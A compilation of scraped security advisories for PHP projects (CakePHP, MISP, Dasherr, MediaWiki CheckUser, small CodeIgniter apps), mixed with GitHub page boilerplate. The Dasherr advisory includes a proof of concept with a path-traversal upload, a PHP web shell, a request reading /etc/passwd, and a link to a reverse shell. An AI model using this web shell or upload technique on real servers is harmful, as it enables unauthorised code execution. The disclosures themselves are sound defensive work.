Unconventional URL paths would allow direct access to prefixed actions without setting the correct request parameters.

**Package**

composer cakephp/cakephp (Composer)

**Affected versions**

\>= 2.0.0, < 2.0.99

\>= 2.1.0, < 2.1.99

\>= 2.2.0, < 2.2.99

\>= 2.3.0, < 2.3.99

\>= 2.4.0, < 2.4.99

\>= 2.5.0, < 2.5.9

\>= 2.6.0, < 2.6.11

\>= 2.7.0, < 2.7.2

**Patched versions**

2.0.99

2.1.99

2.2.99

2.3.99

2.4.99

2.5.9

2.6.11

2.7.2

GHSA-6hg4-vp5q-47mw: CakePHP allows direct access of prefixed controller actions

RequestHandlerComponent had a vulnerability that would allow well crafted requests to create a denial of service attack. RequestHandlerComponent leverages `Xml::build()` which allows reading local files. We recommend that all applications using RequestHandlerComponent upgrade, or disable parsing XML payloads.

**Package**

composer cakephp/cakephp (Composer)

**Affected versions**

\>= 3.0.0, < 3.0.6

\>= 2.0.0, < 2.0.99

\>= 2.1.0, < 2.1.99

\>= 2.2.0, < 2.2.99

\>= 2.3.0, < 2.3.99

\>= 2.4.0, < 2.4.99

\>= 2.5.0, < 2.5.90

\>= 2.6.0, < 2.6.6

**Patched versions**

3.0.6

2.0.99

2.1.99

2.2.99

2.3.99

2.4.99

2.5.90

2.6.6

GHSA-q79m-c546-2g63: CakePHP vulnerable to Denial of Service attack through XML payloads

Prior to versions 2.4.8 and 1.3.18, forms secured by SecurityComponent could be submitted to any action without triggering SecurityComponent’s tampering protection. If an application contained multiple POST forms to manipulate the same models, it could be vulnerable to mass assignment issues.

**CakePHP SecurityComponent cross form submission issue**

Moderate severity GitHub Reviewed Published Jan 20, 2023 • Updated Jan 20, 2023

GHSA-j9q2-f9q7-jhgq: CakePHP SecurityComponent cross form submission issue

CsrfComponent fails to invalidate requests that are missing both the CSRF token, and CSRF post data.

**CakePHP has incorrect Cross-Site Request Forgery validation**

Moderate severity GitHub Reviewed Published Jan 20, 2023 • Updated Jan 20, 2023

GHSA-829q-v5g8-hhxc: CakePHP has incorrect Cross-Site Request Forgery validation

In MISP 2.4.167, app/Controller/Component/ACLComponent.php has incorrect access control for the decaying import function.

Skip to content

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    
    *   Explore
    *   All features
    *   Documentation
    *   GitHub Skills
    *   Blog
    
*   *   For
    *   Enterprise
    *   Teams
    *   Startups
    *   Education
    
    *   By Solution
    *   CI/CD & Automation
    *   DevOps
    *   DevSecOps
    
    *   Case Studies
    *   Customer Stories
    *   Resources
    
*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
    *   Repositories
    *   Topics
    *   Trending
    *   Collections
    
*   Pricing

*   Notifications
*   Fork 1.2k

*   Code
*   Issues 2.1k
*   Pull requests 62
*   Discussions
*   Actions
*   Projects 9
*   Wiki
*   Security
*   Insights

Permalink

Browse files

fix: \[security\] Prevent unauthorized access to decaying import function

\- as reported by Cyber Controls from SIX Group

*   Loading branch information

1 parent a46f794 commit 93bf15d3bd703a32ebfe86cb6c1c9b735cf23e30

Showing **1 changed file** with **1 addition** and **1 deletion**.

@@ -125,7 +125,7 @@ class ACLComponent extends Component

'decayingModel' => array(

"update" => array(),

"export" => array('\*'),

"import" => array('\*'),

"import" => array('OR' => array('perm\_admin', 'perm\_decaying')),

"view" => array('\*'),

"index" => array('\*'),

"add" => array( 'OR' => array('perm\_admin', 'perm\_decaying')),

**0 comments on commit 93bf15d**

Please sign in to comment.

CVE-2023-24028: fix: [security] Prevent unauthorized access to decaying import function · MISP/MISP@93bf15d

erohtar/Dasherr is a dashboard for self-hosted services. In affected versions unrestricted file upload allows any unauthenticated user to execute arbitrary code on the server. The file /www/include/filesave.php allows for any file to uploaded to anywhere. If an attacker uploads a php file they can execute code on the server. This issue has been addressed in version 1.05.00. Users are advised to upgrade. There are no known workarounds for this issue.

**Summary**

Unrestricted file upload allows any unauthenticated user to execute arbitrary code on the server.

**Details**

/www/include/filesave.php allows for any file to uploaded to anywhere. If an attacker uploads a php file they can execute code on the server.  
https://cwe.mitre.org/data/definitions/434.html

**PoC**

Using default configuration, intercept the POST request used to save the settings in Burp Suite.

Rename the file to ../shell.php

Replace the data to the following:

    <?php
    echo "Beaux was here ";
    system($_REQUEST['cmd']);
    ?> 
    

in a browser go to

http://x.x.x.x/shell.php?cmd=cat%20/etc/passwd

Here is a video demo:  
https://youtu.be/FEXuw5GJW-Y

A full reverse shell would also work:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

**Impact**

Remote code execution allows an unauthenticated attacker to run arbitrary code on the server.

CVE-2023-23607: Unrestricted file upload leads to Remote Code Execution

An issue was discovered in the CheckUser extension for MediaWiki through 1.39.x. Various components of this extension can expose information on the performer of edits and logged actions. This information should not allow public viewing: it is supposed to be viewable only by users with checkuser access.

**

CVE-2022-39193: Edits with the performer suppressed still show the performer in results from the CheckUser extension

Closed, ResolvedPublicSecurity



**

Tested on a local instance running CheckUser and other extensions.

Followed the following steps:

*   Gave myself suppressor rights
*   Suppressed a test edit so that the edit had the following restrictions:

*   Removed suppressor rights from myself
*   Ran a check on the IP used (in this case a localhost IP as I'm running a local instance)
*   Scrolled down to the edit and saw:

The edit summary is correctly suppressed, but not the username. A CU could be running a check on a wide range or IP from running a check on a different account. They can then, without knowing the username, see the suppressed performer username.

To fix Lines 1931 down in SpecialCheckUser.php need to work out if the username / performer is suppressed for that edit.

This also affects Special:Investigate as shown below (same edit used):  

Summary:

*   For edits
    *   SpecialCheckUser - fix deployed
    *   SpecialInvestigate - fix deployed
    *   CU API - fix deployed
*   logged actions can not be fixed fully without a schema change (T324907)
    *   SpecialCheckUser - T326865
    *   SpecialInvestigate - T326866
    *   CU API - T326867

Risk Rating

Medium

Author Affiliation

Wikimedia Communities

*   Task Graph
*   Mentions

**Event Timeline**

There are a very large number of changes, so older changes are hidden. Show Older Changes

Comment Actions

I presume the backport patches need to be +2'd. If so, I'll look at doing that tomorrow UTC unless someone else gets there first.

Comment Actions

> I presume the backport patches need to be +2'd. If so, I'll look at doing that tomorrow UTC unless someone else gets there first.

Security Team will handle that with the release. No need to worry.

RhinosF1 renamed this task from Edits with the performer suppressed still show the performer in results from the CheckUser extension to CVE-2022-39193: Edits with the performer suppressed still show the performer in results from the CheckUser extension.Sep 2 2022, 5:58 PM

Comment Actions

@Zabe @Dreamy\_Jazz et al - the patch from T311337#8178549 was deployed today:

2022-09-12 - 19:53 sbassett: Deployed security patch for T311337

It applied fine and didn't appear to cause any errors on any related CheckUser pages (at least not according to logstash). @Mstyles and I weren't really able to thoroughly test the patch in production though, as we don't have os anywhere. So if someone else could test a bit more and confirm that the issue does appear to be resolved within production, that would be great. If the patch does not appear to have solved the issue completely, we can always pull it off of production, test a bit more and deploy a rev 2. Also now tracking at T276237 (was already tracked at T311785).

Comment Actions

Nice.

What have you not been able to test on production wikis? I have CU and OS on enwiki. Through a test have been able to verify that the performer still shows to OS'ers when suppressed (which is expected). By extension I was also able to verify that it does not throw any errors visible to the user. If looking for the check in log stash to check backend errors, I added the ticket number for this task in the reason for the check.

Can I have access to T276237 (if it's general purpose and not specific to CheckUser then it's fine)?

Comment Actions

T276237 is the list of currently deployed security patches. Is there a reason you want access to that list?

Comment Actions

I wasn't sure by the comment above whether that was specific to CheckUser (and so somewhere I might be able to help) or not. As it's just a general purpose ticket for deployed security patches I don't want access. Thanks.

Comment Actions

> I wasn't sure by the comment above whether that was specific to CheckUser (and so somewhere I might be able to help) or not. As it's just a general purpose ticket for deployed security patches I don't want access. Thanks.

No problem. Access to T276237 is really only necessary if you're helping out with wikimedia-deployed security patches or are helping out with the quarterly MediaWiki security releases.

> What have you not been able to test on production wikis? I have CU and OS on enwiki. Through a test have been able to verify that the performer still shows to OS'ers when suppressed (which is expected). By extension I was also able to verify that it does not throw any errors visible to the user. If looking for the check in log stash to check backend errors, I added the ticket number for this task in the reason for the check.

Well, nobody on the Security-Team currently has OS on any of the production projects, so not much. It sounds like all we'd still want to confirm is that an OS'd target is now hidden to non-OS CUs on a production project when viewing related data during a CU check. If someone can create a suppressed edit like the one you describe in the task on testwiki, then I can run a CU against the user/IP and confirm I cannot view the target (I have plain old CU on testwiki). Thanks.

Comment Actions

I don't think anyone has OS on test.wikipedia.org currently but based on searching the user rights log Martin Urbanec had OS rights back in February this year. Not sure the process of getting OS on test wikis but they may be someone to contact.

Comment Actions

> @Urbanecm for the above, as you are already a subscriber here. Perhaps you could set up this edit?

It doesn't have to be testwiki, that was just convenient for me :) Looks like most enwiki CUs have OS, but there are a few that do not, if we could persuade one of them to help test there.

Comment Actions

I'll wait for Urbancem's response, but otherwise GeneralNotability is an enwiki CU but not OS that I think would be happy to help.

Comment Actions

@sbassett I have coordinated with a enwiki CU who is not an OS and followed the steps:

1.  Had them make a test edit (in this case one in their sandbox)
2.  Suppressed their username in this edit
3.  Got them to run a check on themselves
4.  Asked them to verify what they see
5.  Unsuppressed the edit
6.  Asked them to re-run the check to see any difference

The test was a success with the first check (while the edit having the username suppressed) resulting in:

> diff hist Page timestamp (Username or IP removed) summary

and the second check resulting in:

> diff hist Page timestamp CU without OS talk contribs block Previously blocked Autopatrolled, Checkusers, Administrators summary

I've removed the identifying information about the results and the lack of brackets is due to T223871 et. al. making it not possible to copy out the content defined by CSS. I can (privately) detail the particular edit used if there are logs you want to consult, but would want to only do that on a task that won't become public.

Comment Actions

The fix has not addressed the API (Investigate is in a subtask) but the fix for the API should be relatively similar I'm thinking.

Comment Actions

I'm also not sure whether it would be a good idea to make this task public until the fix is also applied to logged actions as it not being fixed has been detailed here.

Comment Actions

> @sbassett I have coordinated with a enwiki CU who is not an OS and followed the steps:  
> ...  
> The test was a success with the first check (while the edit having the username suppressed) resulting in:
> 
> > diff hist Page timestamp (Username or IP removed) summary
> 
> and the second check resulting in:
> 
> > diff hist Page timestamp CU without OS talk contribs block Previously blocked Autopatrolled, Checkusers, Administrators summary

Excellent, thanks for coordinating all of this.

> I've removed the identifying information about the results and the lack of brackets is due to T223871 et. al. making it not possible to copy out the content defined by CSS. I can (privately) detail the particular edit used if there are logs you want to consult, but would want to only do that on a task that won't become public.

I think we're ok, I trust your reporting of the above test with the enwiki CU.

> The fix has not addressed the API (Investigate is in a subtask) but the fix for the API should be relatively similar I'm thinking.

Yes, we'll need to file another task for that, most likely, just to keep things organized.

> I'm also not sure whether it would be a good idea to make this task public until the fix is also applied to logged actions as it not being fixed has been detailed here.

Yes, I'll make a note on the supplemental security release about this.

Comment Actions

@mmartorana wasn't this supposed to stay private as the fix is not in place for logged actions and for Investigate for all actions?

> > I'm also not sure whether it would be a good idea to make this task public until the fix is also applied to logged actions as it not being fixed has been detailed here.
> 
> Yes, I'll make a note on the supplemental security release about this.

sbassett set Security to Software security bug.Oct 5 2022, 3:19 PM

sbassett changed the visibility from "Public (No Login Required)" to "Custom Policy".

Comment Actions

Let's keep this private until the API and Special:Investigate patches get CR'd and deployed.

Comment Actions

> @mmartorana wasn't this supposed to stay private as the fix is not in place for logged actions and for Investigate for all actions?

We had hoped to include this and the related issues within the upcoming supplemental security release (T311785) - which we plan to release today. But unfortunately, given the timing of things and that the other two bugs either don't have patches or haven't been CR'd and deployed yet, I think we should keep this task private (I just did that) and plan to release it with the _next_ supplemental security release when the remaining issues should be addressed.

Comment Actions

Unless I'm wrong this is also not resolved as the fix for logged actions is not in place and won't be without a Schema-change.

If desired I could create a new ticket for logged actions specifically, though it's already been mentioned several times throughout this ticket and as such making this task public would make creating a different task which is private not be different from a public task until a fix patch was proposed.

Comment Actions

> If desired I could create a new ticket for logged actions specifically, though it's already been mentioned several times throughout this ticket and as such making this task public would make creating a different task which is private not be different from a public task until a fix patch was proposed.

This should be a separate (sub-)task at this point. This task was also made private again until the various sub-tasks have at least been patched within wikimedia production.

Comment Actions

Hey, is anyone opposing pushing T311337#8178549 through gerrit? I don't really think that this is very risky and I don't really like the idea of having this living as a sec patch for an eternity, since it is not really foreseeable when all those subtasks (including the schema change) are resolved. The patch for T207094 has also been pushed through gerrit while similar issues still exist.

I am fine with keeping this task private since it does contain direct information about those other issues.

Comment Actions

I wouldn't oppose it. Perhaps a subtask could be created that is for hiding the performer for edits which also doesn't make it very obvious that logged actions are not fixed. The patch then could link to that instead?

Comment Actions

> Hey, is anyone opposing pushing T311337#8178549 through gerrit? I don't really think that this is very risky and I don't really like the idea of having this living as a sec patch for an eternity, since it is not really foreseeable when all those subtasks (including the schema change) are resolved. The patch for T207094 has also been pushed through gerrit while similar issues still exist.

It likely wouldn't be an eternity. We had hoped for the sub-tasks T316414 and T318166 to have patches written and deployed last quarter, but that didn't happen. So it will likely be this quarter. T318166 already has a +2'd patch and can likely go out during next Monday's security deployment window (or sooner) and T316414 should have a patch up for review soon.

> I am fine with keeping this task private since it does contain direct information about those other issues.

It does, since it's the same issue, just for two different layers, which would likely be one of the first things a hypothetical attacker would check.

Comment Actions

Unless I'm missing something this can be set to public now too?

Comment Actions

> Unless I'm missing something this can be set to public now too?

It already should be, I believe.

Comment Actions

> > Unless I'm missing something this can be set to public now too?
> 
> It already should be, I believe.

Hmm. Got confused by the task description editing window saying "IMPORTANT: This report is restricted to members of security, subscribers, and the author." Obviously that doesn't change when the task is set to public.

Comment Actions

Thanks for the help with this all (and the security team for guiding me through). One more question for @sbassett / @Mstyles: Should the new tasks be associated with the CVE that these now resolved tasks are associated with (CVE-2022-39193)?

Comment Actions

> Thanks for the help with this all (and the security team for guiding me through). One more question for @sbassett / @Mstyles: Should the new tasks be associated with the CVE that these now resolved tasks are associated with (CVE-2022-39193)?

Let's get a separate one for the log events piece, as I think it's a distinct-enough issue. And the related tasks for that can then roll out (hopefully) with the next supplemental security release.

Comment Actions

> Ok, this likely needs a redeploy then.

Er, actually, the patch on production for wmf.18 seems fine:

52         $user = new UserIdentityValue( $row->cuc\_user ?? 0, $row->cuc\_user\_text );
53 -       if ( !IPUtils::isIPAddress( $user ) && !$user->isRegistered() ) {
54 -           $templateParams\['userLinkClass'\] = 'mw-checkuser-nonexistent-user';
55 +       if ( $row->cuc\_type == RC\_EDIT || $row->cuc\_type == RC\_NEW ) {
56 +           $hidden = !$this->usernameVisibility\[$row->cuc\_this\_oldid\];

No clue why git formatted my rev3 patch with line 52 getting removed. Sorry for the false alarm.

Content licensed under Creative Commons Attribution-ShareAlike 3.0 (CC-BY-SA) unless otherwise noted; code licensed under GNU General Public License (GPL) or other open source licenses. By using this site, you agree to the Terms of Use, Privacy Policy, and Code of Conduct. · Wikimedia Foundation · Privacy Policy · Code of Conduct · Terms of Use · Disclaimer · CC-BY-SA · GPL

CVE-2022-39193: Edits with the performer suppressed still show the performer in results from the CheckUser extension

SQL Injection vulnerability in kishan0725 Hospital Management System thru commit 4770d740f2512693ef8fd9aa10a8d17f79fad9bd (on March 13, 2021), allows attackers to execute arbitrary commands via the contact and doctor parameters to /search.php.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2022-48120: in search.php has sql injection · Issue #32 · kishan0725/Hospital-Management-System

Book Store Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability in /bsms_ci/index.php/book. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the writer parameter.

50 XSS vulnerabilities.

Different sources that saved in the database in this project.

// In file application/models/M\_book.php
$object\=array(
      'book\_title'\=>$this\->input\->post('book\_title'),
      'year'\=>$this\->input\->post('year'),
      'price'\=>$this\->input\->post('price'),
      'category\_code'\=>$this\->input\->post('category'),
      'publisher'\=>$this\->input\->post('publisher'),
      'writer'\=>$this\->input\->post('writer'),
      'stock'\=>$this\->input\->post('stock')
    );
return $this\->db\->insert('book', $object);

// In file application/models/M\_transaction.php
$object\=array(
    'user\_code'\=>$this\->input\->post('user\_code'),
    'buyer\_name'\=>$this\->input\->post('buyer\_name'),
    'tgl' => date('Y-m-d'),
    'total'\=>$this\->input\->post('total'),
    'bookname'\=>$this\->input\->post('bookname'),
    'book\_qty'\=>$this\->input\->post('book\_qty'),
  );
$this\->db\->insert('transaction', $object);

These sources will pass from the database to the view files.

// In file application/views/v\_book.php
<td><?=$book\->book\_title?></td\>
<td\><?=$book\->year?></td\>
<td\><?=$book\->category\_name?></td\>
<td\><?=$book\->publisher?></td\>
<td\><?=$book\->writer?></td\>
<td\><?=$book\->stock?></td\>

// In file application/views/v\_transaction.php
<td\><?=$book\->book\_title?></td\>
<td\><?=$book\->category\_name?></td\>
<td class\="text-right"\>$<?=$book\->price?></td\>
<td class\="text-right"\><?=$book\->stock?></td\>
                                                      
<?php foreach ($transaction as $transaction): ?>
<option class\="text-dark" value\="<?=$transaction\->user\_code?>"\><?=$transaction\->fullname?></option\>
<?php endforeach ?>

CVE-2023-23024: XSS in Book Store

Cross Site Scripting (XSS) vulnerability in Kalkun 0.8.0 via username input in file User_model.php.

Link: https://github.com/kalkun-sms/Kalkun

XSS vulnerability with the user name.

We see that the username will be setted in the DB without sanitization in file Kalkun-devel\\application\\models\\User\_model.php

$this\->db\->set('username', trim($this\->input\->post('username')));

Then the username retrieved from the DB and set in the session then redirect to 'kalkun' in file Kalkun-devel\\application\\models\\Kalkun\_model.php

function login(){
  $username = $this\->input\->post('username');
  $this\->db\->from('user');
  $this\->db\->where('username', $username);
  $query = $this\->db\->get();
  
  if ($query\->num\_rows() === 1 && password\_verify($this\->input\->post('password'), $query\->row('password')))
  {
	  //..
	  $this\->session\->set\_userdata('username', $query\->row('username'));
         //...
  }
  if ($this\->input\->post('r\_url'))
  {
  redirect($this\->input\->post('r\_url'));
  }
  else
  {
  redirect('kalkun');
  }
}

In file Kalkun-devel\\application\\controllers\\Kalkun.php

function index()
{
  //...
  $this\->load\->view('main/layout', $data);
}

In file Kalkun-devel\\application\\views\\main\\layout.php

<?php $this\->load\->view('main/dock');?>

Finally, in file Kalkun-devel\\application\\views\\main\\dock.php

<?php echo $this\->session\->userdata('username');?>

Tag

#php